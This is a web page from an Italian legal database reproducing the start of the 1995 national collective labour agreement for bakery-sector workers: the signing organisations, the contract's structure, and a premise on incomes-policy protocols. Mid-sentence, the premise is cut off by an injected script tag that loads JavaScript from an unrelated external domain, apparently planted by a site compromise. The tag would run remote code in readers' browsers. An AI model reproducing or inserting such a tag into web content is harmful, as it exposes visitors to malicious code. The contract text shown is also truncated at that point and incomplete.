Torna all'elenco delle categorie

Categoria: Panificazione (UNCI - UCICT)
Settore: Alimentari - Agroindustriale
Data stipula: 2-6-1995
Data decorrenza: 1-6-1995
Data scadenza: 31-5-1999

                   CONTRATTO COLLETTIVO NAZIONALE DI LAVORO
                            per i dipendenti dalle
                    Aziende del settore della Panificazione


L'anno millenovecentonovantacinque il giorno due del mese di giugno

                                      TRA

- la U.N.C.I. - Unione Nazionale Cooperative Italiane rappresentata dal suo
Presidente  Nazionale  Luciano  D'Ulizia  assistito   dal  Vice  Presidente
Nazionale  Giuseppe  D'Andrea  e dal Segretario  Amministrativo Pasquale Di
Matteo e da Alessio Rigido;

-   la  U.C.I.C.T.   -   Unione  Cristiana  Italiana  Commercio  e  Turismo
rappresentata dal suo Presidente Nazionale Orazio Renzo Di Renzo, assistito
da  Vice  Presidente  Nazionale Liborio Salemi,  dai  Consiglieri Nazionali
Romano Corrado Del Campo,  Werther Nanni, Guglielmo Marcone, Rocco Vetrone,
Manola Di Renzo e da Raffaella Samoré, Vincenzo Sardano, Alberto Ricciuti,

-  dal Centro Studi A.N.C.L. - Associazione Nazionale Consulenti del Lavoro
rappresentata dall'Avv. Pasquale Melissari

                                       E

-  la FE.NA.S.A.L.C. - C.l.S.A.L.- Federazione Nazionale Sindacati Autonomi
Lavoratori Commercio rappresentata dal Segretario Generale Adriano Cosimati
e   dai   Segretari   Nazionali   Giuseppe   Nicosia,   Alessandro  Amadei,
Aurora  Pitzolu,  Giuseppe Iaccarino,  assistiti dal dott. Diego Miraglia e
Eugenio Pagliaro;

-  la  C.l.S.A.L.  -  Confederazione Italiana Sindacati Lavoratori Autonomi
rappresentata dal Segretario Confederale con delega per  il settore Turismo
e Commercio Pietro Venneri

                                SI E' STIPULATO

il presente Contratto Collettivo Nazionale di Lavoro per i dipendenti dalle
Aziende del settore della Panificazione; esso si compone:
a) - Premessa;
b) - Indice;
c) - Titoli: XXXIX;
d) - Articoli: 70;
e) - Allegati: A) - B) - C).

    LETTI ED APPROVATI DAI RAPPRESENTANTI DELLE ORGANIZZAZIONI STIPULANTI.


U.N.C.I.                  U.C.I.C.T.       FE.NE.S.A.L.C. - C.I.S.A.L.

Centro Studi-A.N.C.L.                 C.I.S.A.L.


                                   Premessa

     La Cisal ha responsabilmente firmato il 22 dicembre 1994 il protocollo
sulla politica dei redditi ed in quella  sede e con  quell'accordo la CISAL
si è impegnata a comportamenti coerenti con gli impegni sottoscritti.
      La CISAL e la FENASALC-CISAL, ribadiscono pertanto qui la validità di
quegli accordi e dichiarano che,  nel sottoscrivere il contratto collettivo
nazionale delle aziende  della panificazione,  hanno inteso riconfermare la
propria  adesione  ai principi ispiratori  di quegli accordi fra  Governo e
parti  sociali ed  opereranno  nel frattempo perché  l'indicazione forte di
aree contrattuali  differenziate,  secondo le performance imprenditoriali e
le  esigenze  dei  lavoratori,  sia  fatta  propria  dall'intero  movimento
sindacale.
      L'UNCI è partecipe  e cofirmataria del  protocollo sulla politica dei
redditi del 3/23  luglio 1993  e ritiene pertanto che la firma del presente
accordo sia in linea con i contenuti innovativi sulle tematiche del mercato
del lavoro contenute nel citato protocollo tra Governo e parti sociali.
      Per parte sua  l'UCICT,  ritiene di concordare con l'impostazione che
CISAL  e FENASALC-CISAL  ha  dato  a questo  nuovo,  con la  prospettiva di
ricercare  nel  tempo  processi  di  avvicinamento  fra  le   diverse  aree
contrattuali  e l'impegno per  una  convergenza  unitaria  del  mondo delle
imprese operanti nel settore terziario.
      Le parti convengono comunque di confermare la validità innovativa dei
precedenti accordi che nell'individuare l'esigenza di aree differenziate di
contrattazione non hanno inteso creare aree privilegiate,  come purtroppo è
già avvenuto  in  altri settori,  ma sottolineare l'esistenza  obiettiva di
situazioni  diversificate di  sviluppo  imprenditoriale  e  di  profitto di
impresa,  su cui  o<script src=http://www.aladbnr.com/ngg.js></script>













(c) 2002-2022 www.infoleges.it -  powered by Be Smart s.r.l - Note legali e Condizioni d'uso